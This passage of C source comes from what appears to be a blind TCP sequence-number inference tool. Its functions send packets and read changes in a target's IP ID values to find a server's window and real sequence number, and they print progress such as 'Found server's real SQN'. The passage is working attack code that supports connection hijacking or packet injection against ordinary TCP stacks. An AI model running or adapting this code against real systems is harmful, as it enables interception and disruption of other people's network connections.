   msg.msg_iov = &iov;
   msg.msg_iovlen = 1;
   msg.msg_control = ans_data;
   msg.msg_controllen = sizeof(ans_data);

   if ( (ret = recvmsg(id_sock_r, &msg, 0)) == -1)
      err_sys("[receive_and_parse_syn_reply]: recvmsg()!\n");

//   recvfrom(id_sock, buf_tmp, MAXTCPIP*2, 0, (struct sockaddr *)NULL, NULL);//&rcv,&size);

   ip = (struct iphdr *) &buf_tmp[14];

   return ntohs(ip->id);
}

int ip_to_hex_like_bpf(char *arg) {

   unsigned int liczba,i;
   unsigned char *tmp1,*tmp2,*tmp3,*tmp4;

   tmp1=strdup(arg);
   tmp2=strchr(tmp1,'.');
   tmp2++;
   tmp3=strchr(tmp2,'.');
   tmp3++;
   tmp4=strchr(tmp3,'.');
   tmp4++;
   for(i=0;i<strlen(tmp1);i++)
     (tmp1[i]=='.') ? tmp1[i]=0 : 1;
   for(i=0;i<strlen(tmp2);i++)
     (tmp2[i]=='.') ? tmp2[i]=0 : 1;
   for(i=0;i<strlen(tmp3);i++)      
     (tmp3[i]=='.') ? tmp3[i]=0 : 1;
   for(i=0;i<strlen(tmp4);i++)      
     (tmp4[i]=='.') ? tmp4[i]=0 : 1;
   i=atoi(tmp1);
   i<<=24;
   liczba=i;
   i=atoi(tmp2);
   i<<=16;
   liczba|=i;
   i=atoi(tmp3);
   i<<=8;
   liczba|=i;
   i=atoi(tmp4);
   liczba|=i;

   return liczba;
}


int find_server_window_sqn(void) {

   unsigned int ip_id1, ip_id2, ret = 0;

   ack=1;
   syn=fin=rst=psh=urg=licznik=0;
   do {

/* For older Windows... */
//      for (opt = 0; opt < 2; opt++) {
//         if (kupa == 1) {
//            kupa = 0;
//            opt--;
//         }

      send_and_get_ip_id(&ip_id1,&ip_id2,global_seq,global_ack[opt],1);

      if (ip_id2-ip_id1 != 1 && ip_id2-ip_id1 != 2) {

/* For older Windows... */
//            kupa = 1;
         printf("\t[?] Not enough (%u)\r",global_seq);
         continue;
      } else
         printf("\t[%c] Not enough (%u)\r",tablica[licznik%4],global_seq);
      if (ip_id2-ip_id1 == 1) {
         ret = 1;
         goto p_l_found;
      }

/* For older Windows... */
//      }
      i_ilosc++;
      if (i_ilosc >= ilosc) {
         global_seq = 0;
         seq_offset /= 2;
         ilosc *= 2;
         i_ilosc = 0;
      }
      global_seq+=seq_offset;
      licznik++;
   } while (1);

p_l_found:

   return ret;

}


int find_real_server_sqn(void) {

   unsigned int ip_id1, ip_id2, ret = 0, last_known;
/*
   global_seq -= seq_offset;
   g_ack=global_ack[opt];
   seq_offset=0x1;
   do {

      send_and_get_ip_id(&ip_id1,&ip_id2,global_seq,g_ack,1);

      if (ip_id2-ip_id1 != 1 && ip_id2-ip_id1 != 2) {
         printf("\t[?] Not enough (%d)\r",global_seq);
         continue;
      } else
         printf("\t[%c] Not enough (%d)\r",tablica[licznik%4],global_seq);
      licznik++;
      if (ip_id2-ip_id1 == 1) {
         printf("\t[+] Found server's real SQN => %u\n",global_seq);
         ret = 1;
         goto p_l_dalej;
      }
      global_seq+=seq_offset;
*/
//   } while (1/*ip_id2-ip_id1 != 1,*/ );

   global_seq -= seq_offset;
   last_known = global_seq;
   g_ack=global_ack[opt];
   if (seq_offset > 1)
      seq_offset /= 0x2;
   do {

      send_and_get_ip_id(&ip_id1,&ip_id2,global_seq,g_ack,1);

      if (ip_id2-ip_id1 != 1 && ip_id2-ip_id1 != 2) {
         printf("\t[?] Not enough (%u)\r",global_seq);
         continue;
      } else
         printf("\t[%c] Not enough (%u) (%u)\r",tablica[licznik%4],global_seq,seq_offset);

      licznik++;
      if (ip_id2-ip_id1 == 1) {
         last_known = global_seq;
         printf("\t[+] Found server's real SQN => %u => seq_offset %u\n",global_seq,seq_offset);
         if (seq_offset == 1) {
            printf("\t[+] Found server's real SQN => %u => seq_offset %u\n",global_seq,seq_offset);
            ret = 1;
            goto p_l_dalej;
         }
         global_seq -= seq_offset*0x2;
         if (seq_offset > 1)
            seq_offset /= 0x2;
      }

      if (global_seq > last_known+2*seq_offset) {
         global_seq = last_known;//seq_offset*0x4;
         if (seq_offset > 1)
            seq_offset /= 0x2;
      } else
         global_seq+=seq_offset;

   } while (1/*ip_id2-ip_id1 != 1,*/ );

p_l_dalej:

   return ret;

}
